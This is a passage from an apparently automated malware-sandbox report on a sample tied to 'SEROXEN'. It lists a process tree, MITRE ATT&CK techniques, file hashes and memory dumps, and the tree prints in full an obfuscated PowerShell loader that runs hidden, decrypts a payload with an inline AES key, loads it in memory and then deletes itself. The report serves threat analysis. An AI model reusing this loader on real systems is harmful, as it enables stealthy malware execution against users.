      PID:4632
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1808
    - - C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe
        
        "Handler.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function AsZVG($IObBH){ $nGKhQ=[System.Security.Cryptography.Aes]::Create(); $nGKhQ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nGKhQ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nGKhQ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z1mnkXiSZPv8R2MpZKBD3X42qpFHtc3mYWmVqJ/jqFk='); $nGKhQ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oe8taAs+mjon3dfZMtxPIg=='); $IIMfj=$nGKhQ.CreateDecryptor(); $return_var=$IIMfj.TransformFinalBlock($IObBH, 0, $IObBH.Length); $IIMfj.Dispose(); $nGKhQ.Dispose(); $return_var;}function nroxc($IObBH){ $lXPBt=New-Object System.IO.MemoryStream(,$IObBH); $jzRog=New-Object System.IO.MemoryStream; $raowK=New-Object System.IO.Compression.GZipStream($lXPBt, [IO.Compression.CompressionMode]::Decompress); $raowK.CopyTo($jzRog); $raowK.Dispose(); $lXPBt.Dispose(); $jzRog.Dispose(); $jzRog.ToArray();}function Dtllp($IObBH,$RqHgm){ $OepAU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$IObBH); $TRlDt=$OepAU.EntryPoint; $TRlDt.Invoke($null, $RqHgm);}$pyjrp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat').Split([Environment]::NewLine);foreach ($FdSgb in $pyjrp) { if ($FdSgb.StartsWith('SEROXEN')) { $AdNpy=$FdSgb.Substring(7); break; }}$tMmhK=[string[]]$AdNpy.Split('\');$vypGp=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[0])));$asijd=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[1])));Dtllp $asijd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));Dtllp $vypGp (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2248
      - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{c0b360b8-a2cb-4a57-a190-137e05dafe32}
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4516
      - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{28aee83c-e9e1-4138-9f04-c7b6086bb192}
        6⤵
        
        PID:5472
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe" & exit
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4100
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        Suspicious use of SetWindowsHookEx
        
        PID:2068
        
        C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3768

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3928

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2908

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1828

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4436

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4740

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1636

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4428

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1584

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:956

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2936

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:1092

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:5684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5624
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4332 -ip 4332
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:4124
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 6980 -ip 6980
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:5264
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 632 -p 6212 -ip 6212
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:6924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER93B0.tmp.csv

Filesize
44KB

MD5
81b6a1aa910498f1b9f06a92554453c7

SHA1
4c9b88339aacc52b0cae5549f1044d23902aade2

SHA256
1986f4095088dc6ec0d62478ad96282f034d33f0cb9966811ab676196710bba0

SHA512
992bd45b12f7adb74a7760b91e045a3ab7fbdf6540c4e9b7a03547ed00e26242f75948f5ae4d6b195fc3fe46986b9e2274ea8981ce5f78694c7172da28413230

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER93D0.tmp.txt

Filesize
13KB

MD5
2ff2d0f22cfe74a4c03fa415fb61613d

SHA1
3dc75fdeed4c5d470dad4645431eb069448525a5

SHA256
7b2a2a42d529f4b8f43b050853f4914b7c521ce94d33c19d5c4689afc51b985b

SHA512
0e0b55e132ac3d75439a8e2cff48f78a0f9662d693a434b60f7edd276a8bb366a26d32ca55e1da95375095601ccff0bf4367167d0fa371dac20d9b2f22edcdfd

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER943E.tmp.csv

Filesize
43KB

MD5
6be419f46a1070a4f7586d03536ec634

SHA1
6307315ec2cbf31e9f878c1d69ea91d78d81e4ac

SHA256
ee93755e9409aa4914055e2247c00ebde6da8f73f12d6294a7b9c5afd5b265b9

SHA512
48911ee88e830898db5bf9dbe970c945d9ff89d641fe77b7ba12d0ed28b77bd84e21c4ccbb3dacfe503a16642e8d7282a65b7f128736a8a1eb08eedd9ca9b039

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9450.tmp.txt

Filesize
13KB

MD5
e6f4de895e2235f6f56667b098b38ace

SHA1
18aa5b7b8f62e7959c1f64db4683b55d47f6e00d

SHA256
7fe01fe3002f96bb8259bf7102e7ff03c000b19dc43ba99fb4111dc130d4eab3

SHA512
1baf657b291066d3198e4ecc361325aa17aaefb39f1dc00fc5903a0c686d59651cefcc8b5eb9160d9408795887f4e9dd8538f800ba3d567a832fcef658c40c84

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9460.tmp.txt

Filesize
13KB

MD5
d5329c62382169aa20e0782e647bd479

SHA1
2baa25cee8611a3d0f5140e73f96fd223bf87228

SHA256
08a20fb30fb89c6be1aa5262aec8e70dee8b69f32405c6afe0ac30aa2e900493

SHA512
0829ab94269729392ac47c6b7350f54746932f2bb171430a1b56eac06e80d308443f802538671337e5edfa2efaf59c7997429abb4dcd2197512a23e4c0506732

Download Submit
C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vcp0kky2.5ou.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/612-131-0x00007FFED6870000-0x00007FFED6880000-memory.dmp

Filesize
64KB

Download
memory/612-117-0x00000173C6C30000-0x00000173C6C52000-memory.dmp

Filesize
136KB

Download
memory/612-121-0x00000173C6C60000-0x00000173C6C87000-memory.dmp

Filesize
156KB

Download
memory/668-126-0x000001A7814A0000-0x000001A7814C7000-memory.dmp

Filesize
156KB

Download
memory/668-143-0x00007FFED6870000-0x00007FFED6880000-memory.dmp

Filesize
64KB

Download
memory/1020-122-0x0000013B75EE0000-0x0000013B75F07000-memory.dmp

Filesize
156KB

Download
memory/1020-133-0x00007FFED6870000-0x00007FFED6880000-memory.dmp

Filesize
64KB

Download
memory/1452-89-0x000002A6C2BD0000-0x000002A6C2C20000-memory.dmp

Filesize
320KB

Download
memory/1452-79-0x000002A6CB300000-0x000002A6CB3B2000-memory.dmp

Filesize
712KB

Download
memory/1452-78-0x000002A6CAEC0000-0x000002A6CB2FE000-memory.dmp

Filesize
4.2MB

Download
memory/1452-77-0x000002A6CA6F0000-0x000002A6CAEBA000-memory.dmp

Filesize
7.8MB

Download
memory/1452-103-0x00007FFF167F0000-0x00007FFF169E5000-memory.dmp

Filesize
2.0MB

Download
memory/1452-105-0x000002A6C2C60000-0x000002A6C2C96000-memory.dmp

Filesize
216KB

Download
memory/1452-104-0x00007FFF16290000-0x00007FFF1634E000-memory.dmp

Filesize
760KB

Download
memory/1452-102-0x000002A6C2B80000-0x000002A6C2BCE000-memory.dmp

Filesize
312KB

Download
memory/1452-101-0x000002A6C2C20000-0x000002A6C2C5C000-memory.dmp

Filesize
240KB

Download
memory/1452-91-0x000002A6C2F70000-0x000002A6C3132000-memory.dmp

Filesize
1.8MB

Download
memory/1452-90-0x000002A6C2CE0000-0x000002A6C2D92000-memory.dmp

Filesize
712KB

Download
memory/1452-76-0x000002A6C1CA0000-0x000002A6C2224000-memory.dmp

Filesize
5.5MB

Download
memory/1452-81-0x00007FFF167F0000-0x00007FFF169E5000-memory.dmp

Filesize
2.0MB

Download
memory/1452-80-0x000002A6C1980000-0x000002A6C19A2000-memory.dmp

Filesize
136KB

Download
memory/1452-75-0x00007FFF16290000-0x00007FFF1634E000-memory.dmp

Filesize
760KB

Download
memory/1452-74-0x00007FFF167F0000-0x00007FFF169E5000-memory.dmp

Filesize
2.0MB

Download
memory/2096-16-0x00007FFEF8590000-0x00007FFEF9051000-memory.dmp

Filesize
10.8MB

Download
memory/2096-17-0x00007FFEF8590000-0x00007FFEF9051000-memory.dmp

Filesize
10.8MB

Download
memory/2096-35-0x00007FFEF8590000-0x00007FFEF9051000-memory.dmp

Filesize
10.8MB

Download
memory/2096-18-0x00000212FD790000-0x00000212FD7B2000-memory.dmp

Filesize
136KB

Download
memory/2096-19-0x00007FFEF8590000-0x00007FFEF9051000-memory.dmp

Filesize
10.8MB

Download
memory/2248-38-0x00007FFF16290000-0x00007FFF1634E000-memory.dmp

Filesize
760KB

Download
memory/2248-41-0x00000263CC1F0000-0x00000263CC296000-memory.dmp

Filesize
664KB

Download
memory/2248-36-0x00000263B24E0000-0x00000263B2504000-memory.dmp

Filesize
144KB

Download
memory/2248-37-0x00007FFF167F0000-0x00007FFF169E5000-memory.dmp

Filesize
2.0MB

Download
memory/2248-39-0x00000263CB7A0000-0x00000263CC1F0000-memory.dmp

Filesize
10.3MB

Download
memory/2248-47-0x00000263CB150000-0x00000263CB15A000-memory.dmp

Filesize
40KB

Download
memory/2248-45-0x00007FFF167F0000-0x00007FFF169E5000-memory.dmp

Filesize
2.0MB

Download
memory/2248-44-0x00000263B2510000-0x00000263B2532000-memory.dmp

Filesize
136KB

Download
memory/2248-43-0x00000263CC2A0000-0x00000263CC2F8000-memory.dmp

Filesize
352KB

Download
memory/2248-42-0x00000263CB4F0000-0x00000263CB546000-memory.dmp

Filesize
344KB

Download
memory/2724-21-0x00007FFEF8590000-0x00007FFEF9051000-memory.dmp

Filesize
10.8MB

Download
memory/2724-0-0x00007FFEF8593000-0x00007FFEF8595000-memory.dmp

Filesize
8KB

Download
memory/2724-1-0x000002090B680000-0x000002090B83E000-memory.dmp

Filesize
1.7MB

Download
memory/2724-2-0x00007FFEF8590000-0x00007FFEF9051000-memory.dmp

Filesize
10.8MB

Download
memory/2724-3-0x0000020926F00000-0x0000020926FE0000-memory.dmp

Filesize
896KB

Download
memory/2724-4-0x0000020927190000-0x0000020927336000-memory.dmp

Filesize
1.6MB

Download
memory/2724-5-0x00007FFEF8590000-0x00007FFEF9051000-memory.dmp

Filesize
10.8MB

Download
memory/2724-6-0x00007FFEF8590000-0x00007FFEF9051000-memory.dmp

Filesize
10.8MB

Download
memory/2724-20-0x00007FFEF8593000-0x00007FFEF8595000-memory.dmp

Filesize
8KB

Download
memory/3024-111-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3024-115-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3024-110-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3512-49-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/3512-48-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4516-50-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4516-51-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4864-113-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4864-106-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4864-108-0x00007FFF167F0000-0x00007FFF169E5000-memory.dmp

Filesize
2.0MB

Download
memory/4864-109-0x00007FFF16290000-0x00007FFF1634E000-memory.dmp

Filesize
760KB

Download
memory/4864-107-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download